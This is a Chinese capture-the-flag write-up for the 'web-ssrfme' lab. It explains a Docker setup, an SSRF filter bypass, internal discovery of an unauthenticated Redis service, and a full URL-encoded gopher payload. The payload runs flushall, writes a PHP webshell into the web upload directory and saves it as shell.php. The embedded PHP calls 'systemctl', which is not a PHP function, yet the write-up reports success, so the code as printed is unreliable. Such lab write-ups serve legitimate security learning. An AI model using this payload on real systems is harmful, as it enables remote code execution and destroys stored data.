目录
web-ssrfme
搭建环境
步骤
web-ssrfme
搭建环境
这里我们使用的是docker环境,只需要把docker压缩包下载到Ubuntu下解压后执行命令即可,
之后查看docker的images
然后构建docker-compose.yml文件即可
version: '3'
services:web:image: ctf/ssrfmeports:- "8091:80"redis:image: web-ssrfme_redis
在这个文件目录下执行命令
docker-compose up
就此环境搭建成功了
步骤
首先我们直接进入访问这个ip的8091
进入题目,发现直接把源码给了,那我们分析源码,源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测, 发现存在ssrf漏洞
目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:
我们查看phpinfo,查到了当前主机的内网ip为172.21.0.2,
这个ip下重新打印了一次当前页面,仔细看后发现这个是我们当前主机ip,
在172.21.0.3下,出现了不一样的结果,
于是用bp扫描一下开放的端口发现开放了6379,访问172.21.0.3:6379之后出现了一下界面
这是redis的报错,说明这台内网主机上还运行着redis服务。 这个时候第一反应就是redis未授权访问,接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。
我们使用burp扫一下都有哪些目录,发现有个upload目录。经测试upload目录下是可写的,使用工具生成payload因为是get传参,所以我们还需要在进行url code编码,
gopher://172.21.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520systemctl%2528%2527cat%2520/flag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A
就这样成功拿下flag了